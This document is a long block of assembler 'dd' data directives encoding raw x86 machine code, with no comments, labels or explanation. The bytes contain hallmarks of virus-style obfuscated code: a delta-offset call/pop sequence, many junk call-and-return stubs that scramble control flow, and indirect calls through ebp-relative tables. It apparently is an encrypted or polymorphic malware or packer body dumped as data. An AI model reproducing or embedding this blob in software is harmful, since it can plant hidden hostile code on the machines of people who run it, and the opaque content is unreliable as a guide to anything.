		dd 0A5BD0B00h, 6A064823h, 13E900h, 1DB30000h, 4B94C68Eh
		dd 0EB779D1Bh, 6119CE9Eh, 8ED385EEh, 5D9D891Ch,	8D064811h
		dd 4C940F85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 3F6C85Fh,	8994FC41h, 4833719Dh, 5C08306h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 76C35040h
		dd 0B2C86BF7h, 0BE9h, 0D3797A00h, 1A4F3622h, 7CF4747Dh
		dd 31BDBB66h, 0CE38166h, 0F98B90BBh, 8E0F50h, 90000000h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 73C35242h
		dd 6A67C6h, 9E5BD8Bh, 6A0648h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 3FC35040h, 4E72A857h, 0BD8B5116h
		dd 6480B99h, 2D95FF5Bh,	8106482Bh, 72AA0FCBh, 388D8D0Fh
		dd 8B064B99h, 482FD1BDh, 33D1FF06h, 480D1DBDh, 0E5BD8306h
		dd 1064830h, 9A850Fh, 0B5090000h, 6483289h, 9D8B026Ah
		dd 64815BDh, 0EE890h, 9C7B0000h, 0F6B5DEBBh, 732A6376h
		dd 0A962A740h, 880F505Bh, 8, 2880Fh, 61600000h,	56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0F6AFD56h, 683h, 0A98D8900h,	23064801h, 4828B1BDh, 9B58906h
		dd 0FF06482Ah, 48005195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 80C8B959h
		dd 7EC5204Dh, 0B53196B5h, 64822D5h, 0D92E9h, 0E800h, 815D0000h
		dd 4C9419EDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 6A658BE6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8D85C350h, 4B93DA85h
		dd 0E5BD8B06h, 50064829h, 6FE5BB66h, 89240489h,	4817F5BDh
		dd 0B99D2B06h, 6406480Ah, 35FFh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0B2B5B2C3h
		dd 8964F88Bh, 25h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 7C97C427h, 8E1C41A3h
		dd 6E92277h, 6C000000h,	0A7E10EBCh, 69B5318Dh, 0FF064833h
		dd 481AD185h, 5800F06h,	0BF000000h, 2E18AB85h, 0E850FF6Ah
		dd 14h,	24EB35DFh, 12C07615h, 5F16F73Bh, 0FCCF484h, 18A160B8h
		dd 0B5FF5B5Bh, 6481221h, 33499509h, 95FF0648h, 64810D9h
		dd 120E9h, 0B5BD8B00h, 0B0064819h, 11E900h, 0F5380000h
		dd 0BA4D2208h, 25B2D835h, 0C27F094Ah, 668171ECh, 0A316CF81h
		dd 0E85170E6h, 0Ch, 5E314BDAh, 0DF125C9Dh, 7AED373Eh, 0DCE4F781h
		dd 5F5F2E78h, 236071E4h, 4803C195h, 0ED8D3306h,	61064816h
		dd 830F613Ch, 0C9h, 271DBD89h, 0B60F0648h, 0C5BD89C8h
		dd 0BA06482Ah, 6, 5A99D8Bh, 0C18B0648h,	0B5ABEF81h, 0E8C118CAh
		dd 0B8D0F04h, 0E9000000h, 6, 0B6EAFEC2h, 0F76686D6h, 2BD88BE2h
		dd 59BD8BC8h, 8B064813h, 0E9FC8AD1h, 6,	5FD98A53h, 858B7EB3h
		dd 6482A61h, 24058D89h,	0C0830648h, 0F38B6007h,	28F0Fh
		dd 0D08B0000h, 0C08361h, 1977BF66h, 830FD03Bh, 1Fh, 0E904D380h
		dd 45h,	85096051h, 64828EDh, 8E9h, 49D5BF00h, 0B07A129h
		dd 8B5F6167h, 4812C58Dh, 1E18306h, 1F840Fh, 9D8B0000h
		dd 64830D9h, 12C5A583h,	89FE0648h, 480F2185h, 61958906h
		dd 0F506482Ah, 0E9h, 1FB58D00h,	8A064C0Fh, 0F006AF9h, 95FFFEBFh
		dd 648092Dh, 10BDBD8Bh,	0DFB90648h, 6A000008h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 4481C352h, 0E8DB818Fh, 831DA9F6h, 6AFCE1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 554CCCC3h
		dd 78E22797h, 81FDD3E2h, 0B6EA20E3h, 6830F22h, 8B000000h
		dd 482A89BDh, 6AFC06h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 579B2FC3h, 12E2B1F4h, 23395415h
		dd 4806A19Dh, 0CE906h, 95FE0000h, 2DEC9E19h, 0A384EC47h
		dd 0C02BBF49h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	2AC35141h, 195A324Dh, 6880F95h,	81000000h, 7C601AEFh
		dd 0E9D22B06h, 5, 3E03A5A3h, 0C233ADF3h, 0D003E8D1h, 7504E983h
		dd 55006AF4h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0F827CD26h, 6D9BD01h, 880D0648h,	56000000h
		dd 5FF8B70Fh, 1405958Bh, 6A0648h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 715C6AC3h, 665FA191h
		dd 74ADEB81h, 30258D8Bh, 6A0648h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 94A210C3h, 9529A9F7h
		dd 6480929h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 5BDC2C3h,	0F20907BFh, 6AC794h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 4A47EBC3h
		dd 12FDBD83h, 0F000648h, 8A84h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0AE91B490h
		dd 8D09FC5Eh, 6480F3Dh,	71C4C781h, 0B81495h, 6A000000h
		dd 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0DFA1C356h
		dd 8D8D0AF7h, 6484E80h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0F7C35040h, 0E1FF4F7Dh, 51EE8160h, 6676EB24h
		dd 3FFFCF81h, 0C19D8B61h, 83064827h, 482AD9BDh,	840F0006h
		dd 42Ah, 83D8BF0Fh, 482AD9BDh, 840F0106h, 435h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0FFC35545h, 0BD837E56h
		dd 6482AD9h, 0D4860F03h, 6A000003h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0C976C356h
		dd 89192B45h, 48050985h, 45850106h, 60064804h, 3860Fh
		dd 0DB800000h, 0D98C6601h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0F1C35141h, 1625BD33h, 0B5890648h, 6480D41h
		dd 6A04E180h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 41F8C357h, 1FADA26Bh, 14E9CE3Dh
		dd 0C000000h, 9B83B1F7h, 5F8AAA5Bh, 8B925368h, 0E5D19251h
		dd 8B426BA1h, 4814E99Dh, 0FC90A06h, 12F84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8BB373EBh, 48115985h, 85BD8906h, 33064832h, 48121985h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0DFF242CBh, 817B31DEh, 0AEBAF5F7h, 489500Dh
		dd 0F5BD8B24h, 6A064830h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0D509E067h
		dd 11E973h, 0A6020000h,	0F7679304h, 0E36D41A2h,	0ED30559h
		dd 6069CE2Eh, 89B50950h, 5B064805h, 1AD8589h, 68610648h
		dd 9B479E79h, 0C68B6060h, 4816161h, 0D7658624h,	0C3816664h
		dd 95FF5E46h, 6480741h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 7C35646h, 89F95642h, 4BB68985h, 0EB816606h
		dd 0C3E9BE3Bh, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 1859C353h, 88EEBABCh
		dd 9E884h, 8C100000h, 8571C8C0h, 5102882Ch, 870Fh, 5F5F0000h
		dd 0B681858Bh, 6A064Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 93C07DC3h, 0EE9CEA3h, 0AC000000h
		dd 6E445A5Fh, 1EEF287Ch, 44E9A854h, 6ABF66B7h, 1800C726h
		dd 0B000000h, 4810519Dh, 85B58B06h, 0F064BB6h, 858BD9B7h
		dd 6481A85h, 0D4E78166h, 890689EEh, 480441B5h, 0C7816606h
		dd 858B8513h, 6481159h,	5890Fh,	81660000h, 899FDCCFh, 6A0446h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8166BBC3h, 508651C3h, 11E8h,	188F9500h, 0B15EFD22h
		dd 0EDD5EB24h, 0CA761FE0h, 895F96CAh, 6A2434h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 9F644DC3h, 0CA51F3BBh, 0F88BC14Bh, 0FFFBBF0Fh, 4BB681B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 66E11756h, 9D8BF98Bh, 64832D5h, 0B47E1368h
		dd 4604BBC2h, 4811BA2h,	6A85EC24h, 2D95893Dh, 8D064814h
		dd 4BB68985h, 0B9D78106h, 907D5888h, 0F26ABF66h, 0EE850h
		dd 50F00000h, 0C7B2933h, 5A4CFBB3h, 622DE9B3h, 87AFBF66h
		dd 9D03905Bh, 64822B1h,	95FFDF8Bh, 6480741h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 53C35747h, 8589F74Ah
		dd 648234Dh, 9A59D8Bh, 1610648h, 480C0985h, 0D985C706h
		dd 306482Ah, 33000000h,	4823759Dh, 89BD8306h, 64BB6h, 49840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 823333C3h, 97EF7731h, 3DE9h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0B8BE3986h, 50D98B66h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0A149DDC3h, 0F560CDA7h
		dd 16158589h, 83610648h, 482AD9BDh, 850F0306h, 434h, 0AE9h
		dd 0E311C500h, 0AFD8A8DDh, 83DCE8A9h, 4BB689BDh, 840F0006h
		dd 418h, 17158529h, 0BD8B0648h,	64807E5h, 0B689B5FFh, 6A064Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0AE296CC3h, 9F595FFh, 6A0648h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0FD99D0C3h, 919D8BC3h
		dd 66064829h, 0C1DCF781h, 0B67DB58Bh, 8589064Bh, 64819C9h
		dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 147D7AC3h, 5B882BAEh, 6850Fh, 9D8B0000h
		dd 64823F9h, 0F808AABBh, 50509666h, 7F55BF52h, 310F3144h
		dd 0FACABB53h, 5A5B159Dh, 6A9658h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0AB9520C3h, 0DD9D235Fh
		dd 0FF06480Ch, 4BB689B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 89A7BD84h
		dd 480D1D95h, 6195FF06h, 0E9064800h, 12h, 6E0BB07Bh, 32FE5A59h
		dd 0BB443D2Dh, 628C4AE6h, 0B58B7D90h, 64BB67Dh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 7DC35747h, 0B4887ECEh
		dd 0F25858Bh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0FC7465C3h, 7C7E5AD9h, 0C4868958h
		dd 0F000000h, 68Ah, 0B99D8B00h,	8B06482Fh, 48140595h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 199589B9h, 8306481Bh, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0BB53DFC3h, 6FE78007h
		dd 0E8205089h, 9, 1F313A1Fh, 89BD5E51h,	2185893Ah, 5B064809h
		dd 0CAD4858Dh, 6A064Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0EF6937C3h, 0ED5B6489h, 0BE8B516h
		dd 3B000000h, 387441CBh, 0F9FB6E5Dh, 0BD89BE23h, 64813B5h
		dd 0B886895Bh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0BD9C356h, 0D69345C1h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0B5FFD1C3h, 64BB689h, 5A3614BFh, 5195FF49h
		dd 6A064800h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 76F3C350h, 34895046h, 0C5950924h
		dd 0FF06482Fh, 4BB689B5h, 0CF816606h, 95FFB1CAh, 6481429h
		dd 1AB98589h, 0BD830648h, 64831A9h, 2D840F00h, 23000000h
		dd 480AD59Dh, 5E99606h,	0EB000000h, 0E761B0F1h,	96F98B50h
		dd 11E953h, 0C1A0000h, 0CD759E00h
		dd 5C390474h, 0BBAE246Eh, 5B72BC90h, 0B689B5FFh, 6A064Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 8C1C9FC3h, 5352B0ACh, 0E9B4E01Ch, 8,	99055F9Dh, 511DFC18h
		dd 13FD95FFh, 10E80648h, 0C8000000h, 1F105DF2h,	81D7F066h
		dd 4C0ACEF1h, 56B2793Bh, 8EA0BB66h, 0B5FF5F5Bh,	64BB689h
		dd 1C830Fh, 13E80000h, 55000000h, 0E0B65CE1h, 27E4738Eh
		dd 7B549E9h, 782D4F5Fh,	0B70FF9D7h, 95FF5BFBh, 648177Dh
		dd 899BD23h, 0BD290648h, 648006Dh, 2F1DBD83h, 0F020648h
		dd 3884h, 8B72B300h, 48155185h,	52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 6E9B88EBh
		dd 950192E9h, 648164Dh,	530000C6h, 77BB665Bh, 0E185C7B9h
		dd 64816h, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 914FC350h, 59D54F77h, 0EE96FB7h
		dd 0C7000000h, 0DF9BF7A6h, 64FD0041h, 6D2CD84Fh, 0DFB70FE0h
		dd 0FFF35BE9h, 4D8D89FFh, 8B06481Ah, 0A18589C1h, 66064829h
		dd 8D033FBFh, 48125585h, 588EBB06h, 669021EBh, 0F50DF8Bh
		dd 1C82h, 14E85000h, 74000000h,	9A7C204Eh, 0F737F8DBh
		dd 6B01B372h, 65DC54E2h, 5F6FCADDh, 6A905Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 11DF2BC3h
		dd 0D052C7F5h, 81B86D94h, 0D42A59F3h, 89006A08h, 48096D95h
		dd 0C19D8B06h, 6A064830h, 0E400BB00h, 858D1CCBh, 64CA3DDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0AC35747h
		dd 7775E848h, 48EABB66h, 0C083DE8Bh, 0D8B70F05h, 15830F50h
		dd 0E8000000h, 0Fh, 1FCE6CBBh, 53198014h, 268A80Dh, 5FEAF4BAh
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 679CC351h, 14697A36h, 0EA22BF7Ah
		dd 81006AF5h, 2F240FCBh, 6A006A6Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 7787C351h
		dd 0C1997C75h, 2A31B501h, 9D8B0648h, 64804A5h, 2B2D95FFh
		dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 9CDD2FC3h, 0BB069375h, 5AF416FCh,	6870Fh
		dd 0BD890000h, 6480799h, 99388D8Dh, 0BE9064Bh, 3D000000h
		dd 5A0A04AFh, 85849E81h, 0D1FF9781h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0E4C35242h,	98FECE0h, 294D9D8Bh
		dd 0BD830648h, 64830E5h, 93850F01h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 7B45C352h, 0EBA16578h, 81664C90h, 6AF78AF3h,	10E902h
		dd 2C170000h, 37D00BC2h, 0E769FF5Fh, 52360F2Ah,	5050FC69h
		dd 0CDBF6652h, 0BF310F9Dh, 28A62F15h, 489585Ah,	0B1E78124h
		dd 8B70071Eh, 481025BDh, 5195FF06h, 6A064800h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0BD25C350h, 3141B589h, 870F0648h, 6,	14B99D8Bh, 1CE90648h
		dd 0E800000Eh, 0
		dd 0E7ED815Dh, 0FC064CA3h, 4A9BD8Bh, 858D0648h,	64B93DAh
		dd 905090FCh, 35FF64h, 8B000000h, 482EF1BDh, 51958906h
		dd 6406480Ah, 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 2DC786C3h, 3C307880h
		dd 0D185FF23h, 8906481Ah, 4826C59Dh, 6AFF6A06h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 201CC350h, 1980F781h, 0BB661DB2h, 0B5FF5C64h, 6481BD5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 52C35646h
		dd 9723A0D9h, 9D8BF1D5h, 6482EBDh, 10D995FFh, 12E90648h
		dd 0E8000001h, 8, 0DD92A510h, 0A3311641h, 47D5BB66h, 0F00B05Bh
		dd 68Bh, 919D8B00h, 0E606481Ah,	6800F70h, 8B000000h, 4806B99Dh
		dd 8B71E406h, 481425BDh, 0F613C06h, 0D483h, 0C8B60F00h
		dd 15303EBFh, 6BA69h, 0C18B0000h, 16F98D89h, 0E8C10648h
		dd 0A1BD8B04h, 6606481Fh, 0B589E2F7h, 64822F9h,	8166C82Bh
		dd 8B3772D7h, 0DA8B66D1h, 6E9h,	39BD8B00h, 8B064807h, 48136985h
		dd 6810F06h, 8B000000h,	48143D9Dh, 8901BF06h, 0C08319C5h
		dd 9953107h, 83064831h,	8D0100C0h, 6481B31h, 830FD03Bh
		dd 24h,	0BA5BD8Bh, 5AE90648h, 0E9000000h, 14h, 372300E7h
		dd 613878B8h, 0BD25B7DFh, 55FE07DEh, 9B6A7AF1h,	12F58D8Bh
		dd 870F0648h, 6, 2A519D29h, 0E1830648h,	26840F01h, 8B000000h
		dd 0F5A583F9h, 0FE064812h, 0F7D9D23h, 95890648h, 6481369h
		dd 9319D8Bh, 0BD890648h, 6482EBDh, 0E9h, 4BB58D00h, 6A064C1Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 47D5C357h, 67529C84h, 8D0FDC5Ch, 2, 6AFE8Bh
		dd 0F7CB8056h, 2D95FF5Bh, 8B064809h, 7FFB9DEh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0F95DFC3h, 0E183F9BFh, 53006AFCh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0FB8B660Fh
		dd 57006AFCh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0C02B61A1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 4EC35646h, 57A6A7B4h,	0D2B973D9h, 28E0FFCh
		dd 0B3000000h, 0BA9Dh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 342B2AC3h, 0E972AA73h
		dd 6, 0EF50BC0Eh, 33AD2E56h, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 371244C3h, 26F78166h, 880D8Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0B9A621C3h
		dd 5B095CFh, 1405958Bh,	8E0F0648h, 6, 4D61CB81h, 14E91B5Bh
		dd 9000000h, 0D17887EAh, 8AF63173h, 9B0FC5D3h, 0FC0A977h
		dd 8BCBC26Ch, 4830258Dh, 1BD8906h, 50064814h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8B52972Fh
		dd 481181BDh, 6A5B06h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 392856C3h, 89BF6678h, 0FDBD831Bh
		dd 64812h, 9D840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 150424h, 51410000h, 89A16DC3h, 4828698Dh
		dd 65BD8906h, 0B8064823h, 0
		dd 8D8DF98Bh, 6484E80h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0AAC35040h, 0C800FF8h, 0E9000000h, 7
		dd 0F9856C68h, 0BFC71B45h, 4684705h, 6AE1FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0C8CA3CC3h
		dd 8E179D7Bh, 0FE9BE78h, 68Ch, 0C5BD8B00h, 83064815h, 482AD9BDh
		dd 840F0006h, 497h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 7EC35646h, 23D6573Dh,	481FB99Dh, 0D9BD8306h
		dd 106482Ah, 480840Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 7C1134C3h, 8BA21E15h
		dd 4813659Dh, 65BD8B06h, 83064827h, 482AD9BDh, 860F0306h
		dd 410h, 11E19D8Bh, 6A600648h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0E30EC355h,	151D1870h
		dd 14E8F5h, 80120000h, 17CC5CB7h, 0D8CD1107h, 273E4F9Ah
		dd 0C024B893h, 0DE9A1F0h, 26000000h, 64ACA07Ch,	0B9962B5Ch
		dd 0BE4C9FDFh, 0D98C665Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 4C35545h, 0F642E7D1h,	0E18000E5h, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0E8A47C0Ah, 7, 550F28Dh, 0B3BE4094h,	0C90A5FB3h, 124840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 469EF3C3h, 858B56F5h, 6481159h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 85C35747h, 0FEEF888Fh
		dd 12198533h, 0B5290648h, 6480D41h, 50DE8B66h, 489D88Bh
		dd 5E924h, 68D60000h, 0FF5A390h, 6ADBBFh, 1C799D8Bh, 9E680648h
		dd 8169725Dh, 5E612434h, 6A696Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0BF4431C3h, 30FB370Ch
		dd 1E2F6D9h, 48271D85h,	0E19D8B06h, 0FF064815h,	48074195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 5D933AF1h, 4DF57707h, 9D8BD88Bh,	6483125h
		dd 0B6898589h, 6A064Bh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0BE8838C3h, 0FA988F9h, 885h, 28E0F00h
		dd 0B7000000h, 399D8B7Fh, 0E906482Fh, 1B3h, 0F531D781h
		dd 858B752Eh, 64BB681h,	0D8D78166h, 1800C734h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0E3B5C350h, 14A29061h, 68C0FFCh, 9000000h
		dd 4806F1B5h, 85B58B06h, 6A064BB6h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 768FC350h
		dd 0ED998FAh, 1A85858Bh, 6A0648h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0FA2A38C3h, 34DCF5A4h
		dd 8BF709B2h, 4805C19Dh, 3068906h, 4807DD9Dh, 59858B06h
		dd 6A064811h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0C6F7C352h, 6A9772F3h,	83C60736h
		dd 0C8F0Fh, 800F0000h, 6, 983EF381h, 46890E2Eh,	0D19D8B04h
		dd 50064804h, 0AE850h, 1D690000h, 5F8249BCh, 59E1C850h
		dd 34895B5Fh, 81B5FF24h, 6A064BB6h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 6B8DC355h
		dd 0F36803B7h, 8BCD4B30h, 240481D9h, 32D3D30Ch,	16B59D8Bh
		dd 858D0648h, 64BB689h,	0CE8h, 6DF2A00h, 1140ADDDh, 72DD1DD0h
		dd 499D8951h, 5F06481Ah, 0AEBB6690h, 0C2BB50C2h, 906480FEh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 17C35141h
		dd 5610DEDCh, 93010B99h, 19958912h, 0FF06480Ch,	48074195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 61101E53h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 4BC35040h, 0DC6310F1h, 0C2E8BF66h, 9822BB66h
		dd 2AD985C7h, 30648h, 8B660000h, 89BD83FBh, 64BB6h, 4A840Fh
		dd 85890000h, 6480029h,	5AE9h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0C1D52720h
		dd 0F1C3406Fh, 820F0B78h, 14h, 0FE9h, 0A2491C00h, 790EC53h
		dd 0A7E527B0h, 597134F1h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 285FC357h, 0BFDB7AF8h
		dd 607DACF2h, 0F9D9D8Bh, 0BD830648h, 6482AD9h, 66850F03h
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 46AC357h, 0DE99FE7h, 4000000h
		dd 9CE5BA9Dh, 0AD0E8FDh, 38FEA05Eh, 83DF8B66h, 4BB689BDh
		dd 840F0006h, 425h, 0FFAFEB80h,	4BB689B5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0BBBD305Fh, 0F869FD9h, 88Dh,	8B666000h, 17E380D0h, 998D8961h
		dd 0F064829h, 95FFD9B7h, 64809F5h, 66F8BF0Fh, 0B58BF98Bh
		dd 64BB67Dh, 18B0F60h, 0F9000000h, 870Fh, 0C7610000h, 1000106h
		dd 4DBD2B00h, 96064833h, 11E9h,	6F21A300h, 1A71D720h, 0A38FA60Fh
		dd 0CAEB332Ah, 5750852Dh, 11E8h, 2F2A8700h, 19BFF7FAh
		dd 6591CD40h, 2E28B5B0h, 10E81AC0h, 0BD000000h,	340C6E14h
		dd 27C6862h, 18C4DA06h,	5B490B41h, 66965F5Bh, 0FFAD47BFh
		dd 4BB689B5h, 299D8B06h, 0FF064803h, 48006195h,	39BD8B06h
		dd 8B064800h, 4BB67DB5h, 9CE78006h, 0F25858Bh, 830F0648h
		dd 6, 17C5BD2Bh, 86890648h, 0C4h, 0C150B0BFh, 5958B31h
		dd 6A064814h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 50EDC355h, 83F8C096h, 6A04C2h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
